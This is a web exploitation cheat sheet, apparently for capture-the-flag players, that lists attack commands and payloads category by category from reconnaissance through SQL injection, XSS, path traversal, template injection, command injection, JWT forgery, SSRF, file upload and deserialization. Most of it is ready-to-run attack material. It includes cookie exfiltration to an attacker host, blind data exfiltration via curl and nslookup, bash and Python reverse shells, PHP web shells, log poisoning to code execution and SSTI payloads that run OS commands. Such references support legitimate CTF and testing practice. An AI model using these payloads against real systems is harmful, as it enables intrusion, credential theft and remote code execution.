web::exploitation

web SQLi · XSS · SSTI injection · upload
ReconSQLiXSS Path / LFISSTICmdi AuthJWTCSRF/CORS SSRFUploadDeserialization API / GraphQLMiscWorkflow
01Recon & HTTP Triage
First requests
# Baseline
curl -i https://target/
curl -sI https://target/            # headers only
curl -skv https://target/ 2>&1 | less

# Save raw response
curl -skD headers.txt -o body.bin https://target/

# Follow redirects + keep cookies
curl -L -c cookies.txt -b cookies.txt https://target/

# Fingerprinting hints
Server:
X-Powered-By:
Set-Cookie:
CSP / CORS / HSTS
Framework error pages
Static asset names: app.js, main.[hash].js
Quick wins
# Hidden paths / common files
curl https://target/robots.txt
curl https://target/sitemap.xml
curl https://target/.git/HEAD
curl https://target/.env
curl https://target/.DS_Store
curl https://target/backup.zip
curl https://target/config.php.bak
curl https://target/server-status

# JS recon
curl -s https://target/app.js | grep -E "api|graphql|token|admin|debug"

# Grep source for comments / flags / routes
curl -s https://target/ | grep -niE "flag|ctf|todo|debug|secret|api"
Fuzzing & vhost discovery
# Directories
ffuf -u https://target/FUZZ -w common.txt -fc 404
feroxbuster -u https://target -x php,txt,bak,zip

# Parameters
ffuf -u "https://target/page?FUZZ=test" -w params.txt

# POST parameter fuzzing
ffuf -X POST -u https://target/login \
  -d "FUZZ=x&password=test" -H "Content-Type: application/x-www-form-urlencoded" \
  -w params.txt

# Host header / vhost
ffuf -u https://target/ -H "Host: FUZZ.target" -w subdomains.txt
curl -H "Host: admin.target" https://IP/
02SQL Injection
Detection & bypass
# Quotes / booleans
' / " / ') / '))
' OR 1=1--
' OR '1'='1'--
admin'--
' OR 1=1#                # MySQL

# Column count
' ORDER BY 1--
' ORDER BY 2--             # increase until error
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

# String concat / DB id
MySQL:      CONCAT(user(),0x3a,database())
PostgreSQL: version() || ':' || current_database()
SQLite:     sqlite_version()
MSSQL:      system_user + ':' + db_name()
Enumeration patterns
# Generic
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

# SQLite
' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'--

# Blind
' AND 1=1--
' AND 1=2--
' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a'--

# Time-based
MySQL:      ' AND SLEEP(5)--
PostgreSQL: ' AND pg_sleep(5)--
MSSQL:      '; WAITFOR DELAY '0:0:5'--
sqlmap
sqlmap -u "http://target/item?id=1" --dbs
sqlmap -r request.txt --batch --level 5 --risk 3
sqlmap -u URL --cookie "session=..." --dump
sqlmap -r req.txt -p username --tamper space2comment,between
sqlmap --technique=BTU # boolean, time, union
sqlmap --sql-shell

# Pitfalls
Wrong content-type
JSON body not form body
Backend = SQLite → information_schema payloads fail
03XSS
Probe payloads
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>

# Attribute context
" autofocus onfocus=alert(1) x="
' onmouseover=alert(1) '

# JS string context
';alert(1);//
";alert(1);//
`-alert(1)-`
Filter bypass ideas
# Case / split / entities
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<img src=x onerror=confirm`1`>
&lt;script&gt;alert(1)&lt;/script&gt;

# href / javascript:
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# DOM XSS sinks
innerHTML
outerHTML
document.write
location.hash
postMessage
jQuery.html()
Useful goals
# Cookie exfil (if not HttpOnly)
fetch('https://attacker/?c='+document.cookie)

# Read CSRF token from DOM
document.querySelector('[name=csrf]').value

# Same-origin admin actions
fetch('/admin/delete?id=1',{credentials:'include'})

# Check CSP
curl -I https://target/ | grep -i csp

# Notes
Stored XSS > reflected XSS
Sometimes flag is in admin bot visit
04Path Traversal, LFI & wrappers
Traversal payloads
../../../../etc/passwd
..%2f..%2f..%2fetc/passwd
..%252f..%252f..%252fetc/passwd
..\..\..\windows\win.ini
....//....//etc/passwd
/etc/passwd             # absolute path

# Interesting files
/etc/passwd
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/var/www/html/index.php
/var/log/nginx/access.log
C:\Windows\win.ini
PHP wrappers / log poisoning
# Base64 source disclosure
php://filter/convert.base64-encode/resource=index.php

# read source with filter chain
curl "https://target/?page=php://filter/convert.base64-encode/resource=config.php"

# log poisoning → RCE
curl -A "<?php system($_GET['cmd']); ?>" https://target/
curl "https://target/?page=/var/log/nginx/access.log&cmd=id"

# session poisoning
PHPSESSID file under /var/lib/php/sessions/
Checks & pitfalls
# Null byte old bypass (rare now)
../../etc/passwd%00

# Extension forced?
Try:
../../etc/passwd/.
php://filter/.../resource=index

# When include() is used
LFI may become RFI / code exec
Template files often under views/ or templates/

# Base64 decode result
python3 -c "import base64,sys;print(base64.b64decode(sys.stdin.read()).decode())"
05SSTI — Server-Side Template Injection
Detection by engine
# Generic probes
{{7*7}}              # Jinja2 / Twig
${7*7}              # Freemarker / EL
<%= 7*7 %>         # ERB / EJS-like
#{7*7}              # Ruby interpolation contexts
[[${7*7}]]          # Thymeleaf

# Result mapping
49 returned → likely expression eval
Literal returned → probably escaped / wrong engine
Jinja2 / Flask
{{config}}
{{request}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*').read()}}

# Flask secrets / sessions
SECRET_KEY may be in config / source / .env
Use flask-unsign if cookie is signed not encrypted
Automation
sstimap -u "https://target/?name=*"
tplmap -u "https://target/?name=foo"

# Notes
Look for emails, PDFs, preview pages, themed greetings
Error pages often expose engine names
SSTI often chained to file read / RCE
06Command Injection
Separators & probes
;id
|id
||id
&&id
`id`
$(id)

# Windows
& whoami
| whoami

# Blind
;sleep 5
& ping -n 6 127.0.0.1   # Windows
Useful payloads
;cat flag.txt
;ls -la
;find / -name 'flag*' 2>/dev/null
;env
;python3 -c 'import os;print(os.listdir("."))'

# Exfil in blind env
;curl https://attacker/$(whoami)
;nslookup $(cat /flag).attacker

# Encoding / whitespace bypass
${IFS}
%0a
$() and backticks
Reverse shell mini
# bash
bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'

# nc listener
nc -lvnp 4444

# python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
07Auth Bypass, IDOR & Session Abuse
Things to try
# Login bypass
admin'--
' OR 1=1--

# Role toggles
admin=true
role=admin
isAdmin=1
X-Admin: true
X-Forwarded-For: 127.0.0.1

# IDOR
/user/1 → /user/2
/api/orders/100 → 101
UUIDs in JS source / logs / predictable sequences
Session cookies
# Identify format
JWT?      # header.payload.sig
Flask?    # signed cookie
PHPSESSID # server-side
Base64?   # try decode

# Flask
flask-unsign --decode --cookie "..."
flask-unsign --unsign --cookie "..." --wordlist rockyou.txt

# Signed ≠ encrypted
Can read content even if cannot forge it
Password reset / OTP
# Common issues
Token reused
Token predictable / timestamp-based
User controlled email parameter
No rate limiting on OTP
2FA code accepted multiple times
Reset token leaked in response / logs / referer

# Test
Change victim user id / email in POST body
Replay same request twice
Use old token after password change
08JWT Attacks
Decode & tamper
# Decode
header.payload.signature
base64url decode header/payload

# Fields to inspect
alg
kid
jku
x5u
sub
role
admin
exp / nbf / iat

# Typical CTF moves
role=user → role=admin
sub=guest → sub=admin
Classic attacks
# alg:none
Set header: {"alg":"none"}
Drop signature if app accepts it

# Weak secret brute force
jwt_tool -C -d rockyou.txt -t TOKEN
hashcat -m 16500 jwt.txt rockyou.txt

# HS256 / RS256 confusion
Public key used as HMAC secret on vulnerable apps

# kid injection
{"kid":"../../../../dev/null"}
{"kid":"/proc/self/environ"}
Tooling
python3 -c "import jwt;print(jwt.decode(TOKEN,options={'verify_signature':False}))"
jwt_tool TOKEN
jwt_tool TOKEN -S hs256 -p secret

# Notes
Base64url ≠ base64
Changing payload without resigning is useless unless none/weak key/vuln
09CSRF, CORS & browser trust issues
CSRF basics
# Works when
Victim browser sends cookies automatically
Action has no anti-CSRF or token can be stolen

# Minimal PoC
<form action="https://target/change-email" method="POST">
  <input name="email" value="attacker@x">
</form>
<script>document.forms[0].submit()</script>

# GET CSRF
<img src="https://target/delete?id=1">
CORS checks
curl -I https://target/api \
  -H "Origin: https://evil.test"

# Dangerous
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Reflecting arbitrary Origin

# Browser note
* + credentials is invalid, but reflected origin + credentials is bad
Related browser issues
# postMessage
Check origin validation
window.addEventListener('message',...)

# Clickjacking
Missing X-Frame-Options / CSP frame-ancestors

# SameSite cookies
Lax / Strict / None
None requires Secure
Can explain why CSRF works or not
10SSRF
Targets & bypasses
# Internal services
http://127.0.0.1/
http://localhost/
http://[::1]/
http://169.254.169.254/          # cloud metadata
http://127.1/
http://2130706433/              # 127.0.0.1 decimal
http://0x7f000001/              # hex

# Credentials in URL
http://user@127.0.0.1/
http://127.0.0.1#evil.com
Protocols & reads
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/stats
ftp://127.0.0.1/

# Cloud metadata
AWS: http://169.254.169.254/latest/meta-data/
GCP: add header Metadata-Flavor: Google
Azure: metadata endpoint requires header too
Workflow
1. Confirm URL fetch exists
avatar import
PDF render
webhook tester
URL preview

2. Identify filtering
Scheme blocked? hostname blocked? redirects followed?

3. Scan small internal ranges
127.0.0.1
localhost
172.17.0.1
10.0.0.1

4. Aim for read → creds → pivot
11File Upload Abuse
Bypasses
# Extension tricks
shell.php
shell.php.jpg
shell.phtml
shell.phar
shell.php%20
shell.php%00.jpg     # old/null-byte style

# MIME tricks
Content-Type: image/jpeg
Magic bytes: GIF89a; then PHP payload

# Filename issues
../../shell.php
UTF-8 homoglyphs / double extensions
Web shell minis
# PHP
<?php system($_GET['cmd']); ?>

# Polyglot gif/php
GIF89a;
<?php system($_GET['cmd']); ?>

# Test execution
curl "https://target/uploads/shell.php?cmd=id"
Other goals
# Not executable? still useful
XXE via SVG
Stored XSS via HTML/SVG
Overwrite existing file
Read path disclosure in error messages
Image processing bugs / SSRF in URL importers
12Deserialization & object abuse
Where to look
# Suspicious user-controlled blobs
base64 strings in cookies
remember-me tokens
Java serialized magic: ac ed 00 05
PHP serialized: O: or a:
Python pickle signs: gASV / c__builtin__
Node: signed JSON / prototype merge inputs
Quick checks
# PHP
O:8:"stdClass":1:{...}

# Java
ysoserial payloads (if gadget chain exists)

# Python pickle
Never unpickle attacker input

# CTF reality
Often challenge gives custom class with __wakeup / __destruct / readObject logic
Prototype pollution
# Node / JS object merges
{"__proto__":{"admin":true}}
{"constructor":{"prototype":{"isAdmin":true}}}

# Effects
Privilege bypass
Template gadget → XSS / RCE
Config overwrite
13API, GraphQL & JSON weirdness
REST / JSON
# Toggle content types
application/json
application/x-www-form-urlencoded
multipart/form-data

# Common bugs
Mass assignment
role / isAdmin fields accepted silently
Numeric vs string confusion
Missing auth on hidden endpoints
Method confusion: GET/POST/PUT/PATCH/DELETE
GraphQL
# Discovery
/graphql
/graphiql
/playground

# Introspection
{"query":"{__schema{types{name}}}"}

# Notes
Look for mutations without auth
Nested objects may leak fields
Aliases can bypass naive rate limits
WebSockets
# Manual inspect
Burp / websocat

# Things to test
No auth on ws endpoint
Auth only on connect, not per action
Action names / room IDs predictable
JSON message injection / admin event names
14Misc high-value checks
Cache poisoning
Headers to test:
Host
X-Forwarded-Host
X-Original-URL
X-Rewrite-URL

Look for reflected header in cached page.
HTTP request smuggling
Advanced / infra-dependent.
Check CL.TE / TE.CL inconsistencies.
Mostly worth it only if challenge hints proxy chain.
Race conditions
Send same request in parallel:
redeem coupon twice
reset password + login
buy item with negative balance
Use Turbo Intruder / parallel curl.
15CTF workflow
Decision flow
1. Fingerprint
Headers, cookies, framework hints, JS routes, hidden files

2. Enumerate
Endpoints, parameters, verbs, subdomains, API schema, static JS

3. Test every input class
SQLi '   XSS <svg onload=alert(1)>   SSTI {{7*7}}   LFI ../../etc/passwd
Cmdi ;id   SSRF http://127.0.0.1/   IDOR id++

4. Attack state
Cookies, JWT, reset flows, role fields, hidden admin endpoints

5. Automate
Burp Repeater → Intruder / Turbo Intruder / ffuf / sqlmap / simple Python requests script

6. Re-read responses carefully
Length diff, redirects, stack traces, timestamps, leaked paths, subtle JSON booleans
MINI CHECKLIST → source / JS / robots / sitemap · cookies / JWT / localStorage · GET/POST/JSON variants · ffuf params · XSS / SSTI / SQLi probes · IDOR ids / UUIDs · LFI on file params · SSRF on URL params · upload polyglots · replay requests in parallel